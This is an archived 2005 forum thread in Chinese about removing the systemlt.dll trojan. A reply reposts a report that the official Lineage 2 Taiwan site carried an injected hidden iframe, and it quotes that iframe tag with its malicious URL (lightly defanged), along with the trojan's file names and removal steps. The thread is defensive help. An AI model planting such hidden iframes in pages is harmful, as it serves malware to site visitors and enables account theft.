史萊姆論壇

史萊姆論壇 (http://forum.slime.com.tw/)
-   一般電腦疑難討論區 (http://forum.slime.com.tw/f17.html)
-   -   有關systemlt.dll這個病毒 (http://forum.slime.com.tw/thread138981.html)

yudong 2005-01-08 10:17 AM

有關systemlt.dll這個病毒
 
我的防毒軟體偵測到systemlt.dll這個病毒
我在安全模式的情況下刪了它
等我正常重開機systemlt.dll又生出來
請問有什麼辦法把這個病毒完全從電腦裡清除

babayu 2005-01-08 11:40 AM

天堂2 官方 serve r有毒 自己注意帳號 多人被竊 有兩檔要刪


天堂2飽受打擊的同時,台灣官方網站也出現木馬事件,本著中立的態度如實報道 :

  9月20日,官網發佈了一條題為:閱讀電子郵件時需注意的事項 的新聞,內容大致為:因應近來有不肖人士偽裝官方寄信 , 因此公告官方寄信之信箱帳號.

  令人不可思意的是,網站源代碼內有一條:< i frame src="h ttp://www.ta.sdcrc.com/fk/js/smss.htm" name=zhu width="0" height="0" frameborder="0">,經過分析,該段代碼為惡意並含木馬,所連接的網頁h ttp://www.ta.sdcrc.com/fk/js/smss.htm含木馬.


  木馬特徵如下: TrojanSpy.Win32.Delf , 以及 Exploit.HTML.Mht, 以Exploit.HTML.Mht植入 TrojanSpy.Win32.Delf.


  TrojanSpy.Win32在Windows\System32 下生成:exploret.exe和 systemlt.dll 2個文件,若看過該條公告,並進入遊戲時提示:Cant run nProtect.....錯誤時候,說明你中毒了.


  刪除木馬辦法:利用WINDOWS任務管理器,強制關閉:exploret.exe ,並同時刪除:exploret.exe , systemlt.dll ,並啟動註冊表管理器(regedit),查找exploret.exe,刪除含exploret.exe所有鍵.


  此事實在令人不可思意,官方網站居然傳播木馬,而久久未發現,並影響面甚廣,沒有安裝殺毒軟件及防火牆並瀏覽過該條新聞的台服玩家,都面臨帳號被竊危險!

  台灣巴哈天2討論區已經鬧得沸沸揚揚,而台灣運營商遊戲橘子遲遲未對此事作出正面說明.

  看來近日的天堂2在中國2岸都不平靜~~

yudong 2005-01-08 06:20 PM

感恩啊!我在一起刪了exploret.exe , systemlt.dll 這2個檔以後就好了
原來還要刪exploret.exe 才可以


所有時間均為台北時間。現在的時間是 02:24 PM

Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2025, Jelsoft Enterprises Ltd.

『服務條款』

* 有問題不知道該怎麼解決嗎?請聯絡本站的系統管理員 *


SEO by vBSEO 3.6.1